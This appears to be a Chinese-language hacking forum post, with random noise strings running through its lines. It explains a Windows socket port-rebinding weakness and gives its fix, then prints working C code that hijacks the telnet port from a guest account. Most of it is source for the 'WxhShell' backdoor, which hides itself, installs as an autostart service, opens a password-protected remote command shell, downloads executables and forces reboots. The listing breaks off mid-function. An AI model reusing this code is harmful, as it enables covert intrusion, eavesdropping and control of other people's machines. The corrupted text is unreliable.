在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zW^@\kB0D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#X"eg DP9hvu/85 saddr.sin_family = AF_INET;
YX_p3 wy$9QN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Dl%NVi+n Pw'3ya8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
O(PG"c u-7/4Y)c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=6TD3k6(2 L%JmdY; 这意味着什么?意味着可以进行如下的攻击:
( Qw"^lE3 dg1h<]T"9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.Eg>) @vaK-&|#$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3B|o T!)v9L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`:A`%Fg8< eJ#q! < 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
``}EbOMG fNx3\<~V= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
X] &Q^ m>'sM1s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(;' ?56 <gKT 7ONtg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
b^\u
P Ed)t87E #include
><[($Gq`g #include
A@EeX4N #include
,r{\aW@ #include
yla&/K;|* DWORD WINAPI ClientThread(LPVOID lpParam);
oToUpkAI int main()
*O|Z[> {
Llk4 =p WORD wVersionRequested;
T'l >$6 DWORD ret;
{ls$#a+d WSADATA wsaData;
gfs?H # BOOL val;
0t1WvW SOCKADDR_IN saddr;
)sVz;rF< SOCKADDR_IN scaddr;
5/Q^p" int err;
V 3-5:z SOCKET s;
b$+.}&M SOCKET sc;
0Q=4{*:? int caddsize;
R$=UJ}> HANDLE mt;
w Maib3Q DWORD tid;
Os@ d&wm wVersionRequested = MAKEWORD( 2, 2 );
.Kr?vD^nG err = WSAStartup( wVersionRequested, &wsaData );
v*1UNXU\ if ( err != 0 ) {
>9(lFh0P printf("error!WSAStartup failed!\n");
[C)-=.Xx)j return -1;
Be+vC=\K }
d:6?miMH]t saddr.sin_family = AF_INET;
xGJ{_M l-"$a8jn2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E[>4b7{g: /v
E >*x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VAF+\Cea= saddr.sin_port = htons(23);
~&=-* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}N1Z7G {
jx&pRjP
printf("error!socket failed!\n");
]C-hl}iq return -1;
]%3o"| }
hp!UW val = TRUE;
` ej //SO_REUSEADDR选项就是可以实现端口重绑定的
# &o3[.)9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Q uy5H {
Kgi%Nd printf("error!setsockopt failed!\n");
`(?E-~#' return -1;
qIa|sV\w0 }
H~1*`m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-#H>kbs //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^S'}RZ*> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ft>Abj,6 $6T*\(;T@A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,YJ\
$? {
Q_xE:#!; ret=GetLastError();
EUU9JnQhBJ printf("error!bind failed!\n");
C+$dm)M/q return -1;
T%Vii*?M }
HiEXw}Hkz listen(s,2);
q-3%.<LL while(1)
LZV {
X~GnK>R caddsize = sizeof(scaddr);
[>Kkj;* //接受连接请求
]FvN*@lG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[nxjPx9- if(sc!=INVALID_SOCKET)
SEF/D0 {
W\o(f W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
eP$0TDZ if(mt==NULL)
eXWiTi@ {
_) 2fXG! printf("Thread Creat Failed!\n");
l=[<gPE break;
_=XzQZT!L }
h*{{_3, }
qC40/1-m8K CloseHandle(mt);
Ps(3X@ }
CE:TQzg closesocket(s);
!-%i" a WSACleanup();
+Cl(:kfYB return 0;
ZkkXITQkPM }
@kn0f` DWORD WINAPI ClientThread(LPVOID lpParam)
^)conSm {
/i$E |[ SOCKET ss = (SOCKET)lpParam;
_` |Hk2O SOCKET sc;
|AW[4Yn> unsigned char buf[4096];
gX5I`mm SOCKADDR_IN saddr;
dU\,>3tG long num;
<7/ _Vs)F0 DWORD val;
xWD=",0+ DWORD ret;
wj9CL1Gx //如果是隐藏端口应用的话,可以在此处加一些判断
V}=9S@$o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Id(o6j^J_ saddr.sin_family = AF_INET;
=xWZJ:UnU saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\zw0*;&U saddr.sin_port = htons(23);
8P0XY
S@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7OYNH0EH {
7OG=LF*V- printf("error!socket failed!\n");
jzSh|a9_ return -1;
Xy:'f".M~\ }
cHs@1R/-s val = 100;
2Otd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<Vm+Lt9 {
sH(4.36+ ret = GetLastError();
r.0IC*Y return -1;
2ixg
ix }
}BS.OK? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:XEP:8 {
t&^9o$ ret = GetLastError();
c_<m8b{AEF return -1;
X"YH49? }
R:P'QM if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*x2+sgSf_0 {
|Xk'd@< printf("error!socket connect failed!\n");
ifl`QZp_ closesocket(sc);
t6BggO"_u closesocket(ss);
lcHwKd return -1;
rlmzbIuI9 }
R<@s]xX_ while(1)
M5s>;q) {
j|TcmZGO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I4:4)V? //如果是嗅探内容的话,可以再此处进行内容分析和记录
{v+,U} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\:-#,( .V num = recv(ss,buf,4096,0);
^&buX_nlO if(num>0)
,y>,?6:> send(sc,buf,num,0);
}&Un8Rg"h else if(num==0)
G
<
Z)y# break;
j+"i$ln+s num = recv(sc,buf,4096,0);
^EWkJW,Yc if(num>0)
:#1{c^i%3 send(ss,buf,num,0);
0m7ANqE[Z else if(num==0)
9{@[l!]W break;
zD:"O4ZM^^ }
O-y/K2MC* closesocket(ss);
k'E3{8<! closesocket(sc);
Mh"DPt9@J return 0 ;
%yX?4T;b }
2jV.\C k x.CUJ^_. |1wfLJ4--l ==========================================================
je@F:5 B :#5U85m 下边附上一个代码,,WXhSHELL
W~(@*H 7Vd"k;:X ==========================================================
8TGO6oY+= VTQ V]>| #include "stdafx.h"
A5cx!h . > [d:0 #include <stdio.h>
cih@:=Qy #include <string.h>
9W88_rE'e} #include <windows.h>
".A+'pJ #include <winsock2.h>
NC'+-P'y #include <winsvc.h>
'NHtCs=F #include <urlmon.h>
1$T;u~vg k=1([x #pragma comment (lib, "Ws2_32.lib")
al/Mgo #pragma comment (lib, "urlmon.lib")
@q:v?AO ?=,4{(/) #define MAX_USER 100 // 最大客户端连接数
~XGBE #define BUF_SOCK 200 // sock buffer
I[,tf! #define KEY_BUFF 255 // 输入 buffer
dCv@l7hE cO/%;HEV #define REBOOT 0 // 重启
e^2e[rp0 #define SHUTDOWN 1 // 关机
5SPhdpIg@[ =<Q_&_.60 #define DEF_PORT 5000 // 监听端口
7Mq4$|qhD A2>rS #define REG_LEN 16 // 注册表键长度
4j^-n_T #define SVC_LEN 80 // NT服务名长度
vFKX@wV S DT *'r; // 从dll定义API
%;ZWYj`]n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
D#Qfa!=g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
VQ wr8jXye typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"!43,!< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!wP|t#Sc9 =OY&;d!C // wxhshell配置信息
z{XN1'/V struct WSCFG {
W[Kv
Qt3% int ws_port; // 监听端口
)c|S)iJ7=z char ws_passstr[REG_LEN]; // 口令
V@krw"vW int ws_autoins; // 安装标记, 1=yes 0=no
XJJdCv^ char ws_regname[REG_LEN]; // 注册表键名
gwVfiXR4 char ws_svcname[REG_LEN]; // 服务名
wMFo8;L char ws_svcdisp[SVC_LEN]; // 服务显示名
n[DQ5l char ws_svcdesc[SVC_LEN]; // 服务描述信息
&D@/_m $ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
n.9k< int ws_downexe; // 下载执行标记, 1=yes 0=no
lO=+V 6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v`& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u\LG_/UJV1 GjTj..G/ };
Pf,S`Uw; 4HXqRFUD // default Wxhshell configuration
|]=. ^ struct WSCFG wscfg={DEF_PORT,
i
T* !3 "xuhuanlingzhe",
LF o{,%B 1,
'lmZ{a6 "Wxhshell",
{ a2Y7\C/ "Wxhshell",
xW|^2k "WxhShell Service",
7C~qAI6Eg "Wrsky Windows CmdShell Service",
ttQX3rmF01 "Please Input Your Password: ",
5WhR| 1,
"p]F q, "
http://www.wrsky.com/wxhshell.exe",
+!_?f'kv` "Wxhshell.exe"
0u0<)gdX };
@L?X}'0xI4 jvfVB'Tmr // 消息定义模块
?}f+PP, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F.;G6 char *msg_ws_prompt="\n\r? for help\n\r#>";
QG{).|pm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q
I!c= :u char *msg_ws_ext="\n\rExit.";
nT7{`aaQl char *msg_ws_end="\n\rQuit.";
BPf;!. char *msg_ws_boot="\n\rReboot...";
n0nf;E char *msg_ws_poff="\n\rShutdown...";
e| AA7 char *msg_ws_down="\n\rSave to ";
4a'O#;ho DGfhS` X char *msg_ws_err="\n\rErr!";
*qx<bY@F char *msg_ws_ok="\n\rOK!";
*Nfn6lVB %cIF() char ExeFile[MAX_PATH];
z^(6>U
? int nUser = 0;
O[nl#$w HANDLE handles[MAX_USER];
.-kqt^Gc int OsIsNt;
PqOy"HO 5<0d2bK$ SERVICE_STATUS serviceStatus;
xL.T}f~y2> SERVICE_STATUS_HANDLE hServiceStatusHandle;
{sn :Lj0 Znl&.,c) // 函数声明
X`,4pSQ; int Install(void);
5Gj?'Wov9 int Uninstall(void);
_-NS-E int DownloadFile(char *sURL, SOCKET wsh);
XBJ9"G5 int Boot(int flag);
R<r"jOd] void HideProc(void);
2m`4B_g A
int GetOsVer(void);
:V)W?~Z7B int Wxhshell(SOCKET wsl);
i&cH void TalkWithClient(void *cs);
@(:ah int CmdShell(SOCKET sock);
iEDZ\\, int StartFromService(void);
{?a9>g-BW int StartWxhshell(LPSTR lpCmdLine);
G5^gwG+ WZ.d"EE" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3F%Qq7v VOID WINAPI NTServiceHandler( DWORD fdwControl );
GPqF> doR'E=Z4h // 数据结构和表定义
+{%@kX<V_ SERVICE_TABLE_ENTRY DispatchTable[] =
+n1jP<[<N {
6{O#!o*g {wscfg.ws_svcname, NTServiceMain},
C=LXL1x2e {NULL, NULL}
,+p&ZpH };
xx}R6VKU. " mKMym2 // 自我安装
P\ yt!S2 int Install(void)
E)(`Z0 {
] o!#]] char svExeFile[MAX_PATH];
++KY+j.^ HKEY key;
vS~y~ uU%6 strcpy(svExeFile,ExeFile);
TO\%F}m( X,- '
v[z // 如果是win9x系统,修改注册表设为自启动
Z&mV1dxR if(!OsIsNt) {
NJYx.TL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<`dF~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qZ!1>`B RegCloseKey(key);
\!UNale if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y^)VHE] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&77]h%B> RegCloseKey(key);
ivdw1g|)h return 0;
y$)gj4k/D }
my#qmI }
Isq3YY }
9Ao0$|@b else {
l<<G".? 1B3,lYBM // 如果是NT以上系统,安装为系统服务
mB(*)PwZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0XlX7Sk+ if (schSCManager!=0)
i'!M<>7 {
.?SClTqg SC_HANDLE schService = CreateService
>l$vu-k)~4 (
~L(_q] schSCManager,
c ;3bX6RD* wscfg.ws_svcname,
oH+UuP2a-J wscfg.ws_svcdisp,
QN(f8t( SERVICE_ALL_ACCESS,
&%pB; dk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q, E!Ew3 SERVICE_AUTO_START,
`
n{rzenPX SERVICE_ERROR_NORMAL,
zIbl[[M& svExeFile,
BfOG e!Si NULL,
=erA.u NULL,
#SY8Zv NULL,
X7kJWX NULL,
;>=hQC{f> NULL
Q:+Y-&||" );
K*J8(/WkD if (schService!=0)
D<7S
P,D {
OU=9fw CloseServiceHandle(schService);
C#r_qn CloseServiceHandle(schSCManager);
*f8,R"]-g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
C!w@Naj strcat(svExeFile,wscfg.ws_svcname);
.<Z7K @ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
a73b/_zZ= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Xi5kE'_ RegCloseKey(key);
Pyi PhOJe return 0;
\3q{E",\>@ }
m@JU).NKCS }
Pi?*rr5WZ CloseServiceHandle(schSCManager);
KGUpXMd^Z }
v >3ctP{ }
rOY^w9! Tu_dkif' return 1;
OxF\Hm)( }
ZNB*Azi 3Gn2@`GC // 自我卸载
9BANCW" int Uninstall(void)
lGB7( {
X_
>B7(k HKEY key;
^OG^%
x" V`69%35*@ if(!OsIsNt) {
>1ZMQgCG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^F?H)[0 RegDeleteValue(key,wscfg.ws_regname);
_0F6mg n RegCloseKey(key);
IJ,,aCj4g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
MbnV5 b:X RegDeleteValue(key,wscfg.ws_regname);
zi>f436- RegCloseKey(key);
~s^&*KaA return 0;
[ur/` }
mC~W/KReA }
B4R,[WE" }
`@.YyPxX\ else {
pq5)Ug e;3$7$n Pv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!xo@i XL if (schSCManager!=0)
\)BKuIP {
@7lZ{jV$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*ep!gT*4 if (schService!=0)
Tf@t.4\ {
D~f.)kkC4 if(DeleteService(schService)!=0) {
.M>u:,v CloseServiceHandle(schService);
RAE|eTnna CloseServiceHandle(schSCManager);
Q X@&~ return 0;
N#.IpY'7Ze }
x6DH0*[. CloseServiceHandle(schService);
=hl-c }
(f#W:]o/ CloseServiceHandle(schSCManager);
LO"HwN43h }
bf;IJ|v^ }
!.t'3~dUf$ !hH6!G return 1;
nBiSc* }
0^ (.(: U}A+jJ // 从指定url下载文件
r~s03g0 int DownloadFile(char *sURL, SOCKET wsh)
l"*>>/U k {
Tao lX*$5 HRESULT hr;
_ux6SIyp` char seps[]= "/";
jMp{ char *token;
b!.# `. char *file;
^\+6*YE 4 char myURL[MAX_PATH];
I:6xDDpZG` char myFILE[MAX_PATH];
KktTR`W RM<\bZPc strcpy(myURL,sURL);
M2xUs token=strtok(myURL,seps);
3al5Vu2: while(token!=NULL)
j|aT`UH03 {
}4
$EN file=token;
-nk %He token=strtok(NULL,seps);
tb=L+WAIw }
J"83S*2(j 0_] aF8j GetCurrentDirectory(MAX_PATH,myFILE);
)i!)Tv strcat(myFILE, "\\");
p`d:g
BZ strcat(myFILE, file);
19#)#
n^ send(wsh,myFILE,strlen(myFILE),0);
!m(6/*PAl send(wsh,"...",3,0);
q6G([h7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
2PeI+!7s if(hr==S_OK)
SiBbz4 return 0;
3:;%@4f else
b6/:reH{ return 1;
I(7gmCV /Cg/Rwl }
e1/|PgT(KM L0_=R;.< // 系统电源模块
3p4bOT5 int Boot(int flag)
b5)>h {
`GDYL7pM( HANDLE hToken;
PRah?|*0s TOKEN_PRIVILEGES tkp;
?=4t~\g? ;q^YDZ' if(OsIsNt) {
kXj pCtCu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G/ ^|oJ/G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l|up3A3) tkp.PrivilegeCount = 1;
L+kS8D< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
a0LX<} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
T ]zjJwa if(flag==REBOOT) {
g1{wxBFE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
# xoFIH return 0;
(@#Lk"B }
+es6c') else {
C9iG`? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*|3z($*U] return 0;
T
a[74;VO }
|$w-}$jq5 }
e.kt]l else {
O0l;Qi if(flag==REBOOT) {
ixH7oWH# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c]&VUWQ return 0;
W2B=%`sC }
*Xnq1_K} else {
?-Z:N`YP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^R$dG[Qf return 0;
DtN6.9H2` }
h
,n!x:zy@ }
zF$wz1
% Cwh;+3?C| return 1;
[*<&]^ }
VA%i_P, 0q;] ;m // win9x进程隐藏模块
7U7 i2 4 void HideProc(void)
"O
'I {
E,$uNw '] 6qDD_:F HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
NNdS:( if ( hKernel != NULL )
#e=^[E-yE {
!58JK f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~S6N'$^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CYu8J@(\~g FreeLibrary(hKernel);
%G
SSy_c }
wz#n$W3mGf e+WVN5"ID> return;
)5v .9N6v }
p[GyQ2k) <am7t[G." // 获取操作系统版本
KAzRFX), int GetOsVer(void)
TDGzXJf[ {
Y|~>(
OSVERSIONINFO winfo;
[)u(\nfGX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
F{+`F<r GetVersionEx(&winfo);
OR9){qP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z~5'p(|@f return 1;
pk4&-iu9 else
Jp#cFUa t return 0;
`QF|>
N }
`!8Z"xD
mx4*zj // 客户端句柄模块
<i6M bCB int Wxhshell(SOCKET wsl)
]>o2P cb; {
3Cl9,Z"&6$ SOCKET wsh;
ZIl<y{ struct sockaddr_in client;
8(;i~f:bCW DWORD myID;
f+Go 8Lg=M 3"n8B6 while(nUser<MAX_USER)
"lZ<bG
{
jFv<]D%A[ int nSize=sizeof(client);
Uy:.m wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}+J@;: if(wsh==INVALID_SOCKET) return 1;
g <o ;\\ VLN3x.BY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
QAwj]_ if(handles[nUser]==0)
Y5CE#& closesocket(wsh);
'1
$ ({{R else
]l'ki8 nUser++;
{@%(0d{n} }
>cb
gL% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
WXU6J?tIm 6f!mk:\T. return 0;
Y ckbc6F }
<k6xScy$} ]IV;>94[ // 关闭 socket
O :^[4$~ void CloseIt(SOCKET wsh)
&/F[kAy {
qI^jwl|k closesocket(wsh);
-c@ 5qe> nUser--;
PgAfR:Y! ExitThread(0);
Ke'2"VkQt }
9iCud6H,h 6%#'X // 客户端请求句柄
tV9C33 void TalkWithClient(void *cs)
a)Ek~{9 {
I>#ChV)(# <UdD@(iZ# SOCKET wsh=(SOCKET)cs;
~S!kn1&O char pwd[SVC_LEN];
BkfBFUDQ char cmd[KEY_BUFF];
!e `=UZe1 char chr[1];
<GRf%zJ int i,j;
9A(K_d-!H {Xd5e@:Js while (nUser < MAX_USER) {
&7&*As z:5ROlk0 if(wscfg.ws_passstr) {
G{~p.?f: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ooSd6;' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Dt.Wb&V_w //ZeroMemory(pwd,KEY_BUFF);
/nFw i=0;
X)OP316yx while(i<SVC_LEN) {
Qu _T& vKC&Qi ; // 设置超时
#UD fd_set FdRead;
?/MXcI( struct timeval TimeOut;
~[q:y|3b FD_ZERO(&FdRead);
`&zobbwq FD_SET(wsh,&FdRead);
66^t[[ TimeOut.tv_sec=8;
8]\h^k4f TimeOut.tv_usec=0;
%iC63)(M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
H>iZVE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=Gz>ZWF [frD
L) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R} 9jgB pwd
=chr[0]; 2z# @:Q
if(chr[0]==0xd || chr[0]==0xa) { /exl9Ilt]
pwd=0; M&c1iK\E8
break; kw ^ Sbxm
} em!R9J.
i++; )#~fS28j
}
89=JC[c
IFofFXv_
// 如果是非法用户,关闭 socket wLe&y4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t~K!["g
} 4(GgaQFO?
WCT W#<izm
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `Kw8rG\]:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RmV/wY
kQl cT"R
while(1) { =w$"wzc
?Hxgx
ZeroMemory(cmd,KEY_BUFF); q.[[c
A!Ct,%
// 自动支持客户端 telnet标准 k]9> V@C
j=0; *js$r+4
while(j<KEY_BUFF) { W?J[K;<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G$9|aaf`1#
cmd[j]=chr[0]; Z*)Y:tk)b
if(chr[0]==0xa || chr[0]==0xd) { W<]Oo ]
cmd[j]=0; T8TsKjqOZ
break; :gaeb8`t
} aq/Y}s?
j++; @<yc .>
} :wmf{c
Y6?mY!
// 下载文件 NZW)X[nXM
if(strstr(cmd,"http://")) { gs8@b5 RSb
send(wsh,msg_ws_down,strlen(msg_ws_down),0); GiO#1gA
if(DownloadFile(cmd,wsh)) E(kb!Rz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p<fgUVR
else B5H&DqWzr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fd,+(i D
} q.sQ Z]ty9
else { =&:f+!1$
B%:9P
switch(cmd[0]) { YGV#.
m&~Dj#%(w
// 帮助 @mRrA#E#{
case '?': { aa%&&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n9fA!Wic
break; JP,(4h*
} iA{jKk=
// 安装 r5da/*G/O
case 'i': { z/&a\`DsU
if(Install()) Nz3%}6F:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xXxh3 k\
else g74z]Uj.B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ j X N*A
break; |-Esc|J(
} LI;Efy L
// 卸载
~
9~\f
case 'r': { #iU8hUbo
if(Uninstall()) ?r E]s!K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {$1$]p~3o
else B"Kce"!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P^<0d'(
break; zMr!WoW
} /j69NEl
// 显示 wxhshell 所在路径 hd
;S>K/C
case 'p': { ck_fEF
char svExeFile[MAX_PATH]; b
hr E
strcpy(svExeFile,"\n\r"); ?(ls<&s{w
strcat(svExeFile,ExeFile); 8u5
'g1M
send(wsh,svExeFile,strlen(svExeFile),0); J1Ki2I=
break; S O:V|Tfj
} ^N2M/B|0
// 重启 BS,5W]ervE
case 'b': { ,ibPSN5Ca
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ssyd8LC#
if(Boot(REBOOT)) o),6o'w(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xgT~b9
else { hn\Q6f+
closesocket(wsh); K_+;"G
ExitThread(0); oSA*~ N:
} b801OF
break; LUDJPIk
} PSf5p\<5
// 关机 71/ m.w
case 'd': { W
aGcoj
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X})Imk7&E
if(Boot(SHUTDOWN)) .F$|j1y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87pXv6'FQ
else { Sa1z,EP
closesocket(wsh); *zVLy^L_8
ExitThread(0); ;y~{+{{Ow
} "`i:)E t
break; Tq\~<rEo
} d1TdH s\
// 获取shell Jg|cvu-+
case 's': { mhi90J c
CmdShell(wsh); pjHRV[`AP
closesocket(wsh); v]{uxlh
ExitThread(0); ZAX0n!db3
break; w0j/\XN2s
} yB4H3Q )
// 退出 *fH_lG%
case 'x': { pba8=Z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7.e7Fi{
CloseIt(wsh); Vl 19Md
break; %t`SSW7I
} ZG@M%|>
// 离开 VwOG?5W/
case 'q': { puS&S
*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m
UWkb
closesocket(wsh); hP1
l v7P
WSACleanup(); B?#k W!wj
exit(1); bKuj
po6
break; I!@s6tG
} "\/^/vn?
} &`yOIX-H_
} Gh2Q$w:
@<OO
// 提示信息 H\| ]!8w5Z
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V'"I9R'1
} K/2. 1o;9
} 4g7ja
6
tc:A5mK
return; ;;?vgrz
} cZgMA8
F
n|x$vgb
// shell模块句柄 ?AnjD8i
int CmdShell(SOCKET sock) 2<'`^AO@
{ e`Co,>W/
STARTUPINFO si; ?jri!]ux#
ZeroMemory(&si,sizeof(si)); -*|:v67C&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /BMtcCPG!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ms}f>f=
PROCESS_INFORMATION ProcessInfo; @GG(7r\/B
char cmdline[]="cmd"; /}w#Jk4pD
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y7JZKtsFA
return 0; ?Ml%$z@b?
} ^Ue0mC7m
H\fcY p6
// 自身启动模式 Sk/#J!T8{
int StartFromService(void) (S
k#x
{ iUI y,Y
typedef struct
@8=vFP'
{ ,M)k7t:
DWORD ExitStatus; _\dt?(m|
